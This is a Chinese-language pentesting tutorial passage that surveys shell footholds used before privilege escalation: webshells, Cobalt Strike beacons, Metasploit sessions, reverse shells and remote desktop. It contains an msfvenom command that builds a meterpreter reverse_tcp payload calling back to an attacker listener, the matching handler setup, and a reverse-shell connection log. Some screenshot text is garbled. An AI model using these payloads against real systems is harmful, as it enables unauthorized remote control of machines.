常见提权的环境介绍

因为拿到目标系统的shell不同,我们的提权的方式也不同,每种提权的姿势也就不同。

webshell

webshell就是通过蚁剑,菜刀,冰蝎等工具连接的Shell

```
C:\phpStudy\PHPTutorial\WWW> whoami
bm-2008\apache
C:\phpStudy\PHPTutorial\WWW>
```

cs的shell

一般拿到webshell之后我们要上线的CS或者MSF, CS的shell可以提权

```
Cobalt Strike
Cobalt Strike 视图 攻击 报告 帮助 OLa-Tools
external internal - listener
                                     user
                                                 computer
                                                                         process
                                                                                     pid arch
                                                                                                last
175.9.141.37 192.168.41.... wanli
                                     Administrato... DC20
                                                                         123.exe
                                                                                     2244 x86
                                                                                                984...
 175.9.141.37 192.168.41.... wanli
                                                                                     2168 x86
目志X Beacon 192.168.41.130@2244 X Beacon 192.168.41.183@2168 X
拒绝访问。
beacon> shell dir \\dc.hack.com\c$
[*] Tasked beacon to run: dir \\dc.hack.com\c$
[+] host called home, sent: 51 bytes
 [+] received output:
拒绝访问。
beacon> shell whoami
[*] Tasked beacon to run: whoami
 [+] host called home, sent: 38 bytes
 [+] received output:
xyz\liwei
[MSB-2008] liwei/2168
                                                                                          last: 250ms
```

MSF的shell

通过MSF连接得到的shell

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit
```

```
<u>meterpreter</u> > getuid
Server username: BM-2008\apache
<u>meterpreter</u> >
```

反弹shell

通过反弹shell的方式得到的shell

```
mc 192.168.41.193 1111
Microsoft Windows [*汾 6.1.7601]
**Ç*** (c) 2009 Microsoft Corporation*******

C:\Users\apache\Desktop>whoami
whoami
bm-2008\apache

C:\Users\apache\Desktop>
```

远程桌面

有时候我们会得到远程桌面

```
| 192.168.41.193 - 反応が | 192.168.41.193 - 反応 | 192.168.41.193 - 反应 | 192.168.41.193 -
```